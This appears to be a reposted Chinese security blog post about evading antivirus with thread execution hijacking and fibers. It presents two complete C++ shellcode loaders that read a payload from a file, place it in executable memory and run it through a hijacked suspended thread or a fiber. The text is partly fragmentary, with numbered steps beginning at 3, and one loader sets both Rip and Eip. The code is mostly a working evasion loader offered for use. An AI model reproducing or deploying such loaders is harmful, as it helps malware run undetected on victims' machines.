本地线程劫持(Thread Execution Hijacking)是一种进程注入技术,指在本地进程(即自身或已打开的进程)中,暂停或挂起一个现有线程,修改其执行流(即指令指针,如EIP/RIP),让其去执行攻击者写入的恶意代码(如Shellcode),然后恢复线程,使其在原有进程上下文中运行注入的代码。
3、获取并修改线程上下文
4、恢复线程执行
5、恢复原始执行流(可选)
代码实现
intmain(){
FILE* fp;
size_t dwSize;
unsigned char* buffer;
fp = fopen("1.bin", "rb");
fseek(fp, 0, SEEK_END);
dwSize = ftell(fp);
fseek(fp, 0, SEEK_SET);
buffer = (unsigned char*)malloc(dwSize);
fread(buffer, dwSize, 1, fp);
fclose(fp);
HANDLE hThread = NULL;
CONTEXT ctx = { 0 };
DWORD dwOldProtect = 0;
LPVOID pRemoteMem = NULL;
BOOL bSuccess = FALSE;
// 1. 创建挂起线程
hThread = CreateThread(
NULL, // 安全属性
0, // 栈大小
NULL, // 线程函数(稍后劫持)
NULL, // 参数
CREATE_SUSPENDED, // 创建挂起状态
NULL // 线程ID
);
if (hThread == NULL) {
std::cerr << "CreateThread failed: " << GetLastError() << std::endl;
return 1;
}
// 2. 获取线程上下文
ctx.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(hThread, &ctx)) {
std::cerr << "GetThreadContext failed: " << GetLastError() << std::endl;
CloseHandle(hThread);
return 1;
}
// 3. 分配可执行内存
pRemoteMem = VirtualAlloc(
NULL,
dwSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!pRemoteMem) {
std::cerr << "VirtualAlloc failed: " << GetLastError() << std::endl;
CloseHandle(hThread);
return 1;
}
// 4. 写入Shellcode
memcpy(pRemoteMem, buffer, dwSize);
// 5. 修改指令指针
ctx.Rip = reinterpret_cast<DWORD64>(pRemoteMem);
ctx.Eip = reinterpret_cast<DWORD>(pRemoteMem);
if (!SetThreadContext(hThread, &ctx)) {
std::cerr << "SetThreadContext failed: " << GetLastError() << std::endl;
VirtualFree(pRemoteMem, 0, MEM_RELEASE);
CloseHandle(hThread);
return 1;
}
// 6. 恢复线程执行
if (ResumeThread(hThread) == (DWORD)-1) {
std::cerr << "ResumeThread failed: " << GetLastError() << std::endl;
}
else {
std::cout << "线程劫持成功!等待Shellcode执行..." << std::endl;
}
// 7. 等待线程完成并清理
WaitForSingleObject(hThread, INFINITE);
VirtualFree(pRemoteMem, 0, MEM_RELEASE);
CloseHandle(hThread);
return 0;
}
3、劫持或替换纤程执行流
4、切换到目标纤程
5、恢复原纤程(可选)
代码实现
intmain(int argc, char* argv[])
{
FILE* fp;
size_t dwSize;
unsigned char* buffer;
fp = fopen("1.bin", "rb");
fseek(fp, 0, SEEK_END);
dwSize = ftell(fp);
fseek(fp, 0, SEEK_SET);
buffer = (unsigned char*)malloc(dwSize);
fread(buffer, dwSize, 1, fp);
fclose(fp);
LPVOID CToFiber = ConvertThreadToFiber(NULL); //将当前线程转换为纤程。必须先将线程转换为纤程,然后才能调度其他纤程。
DWORD codemy;
LPVOID codego = VirtualAlloc(NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 只申请可读可写PAGE_READWRITE
CopyMemory(codego, buffer, dwSize); //内存拷贝
VirtualProtect(codego, dwSize, PAGE_EXECUTE, &codemy); // 更改它的属性为可执行PAGE_EXECUTE
LPVOID CFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)codego, NULL);
SwitchToFiber(CFiber);
return 0;
}
原文始发于微信公众号(安全天书):【免杀思路】线程&&纤程绕过杀软
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论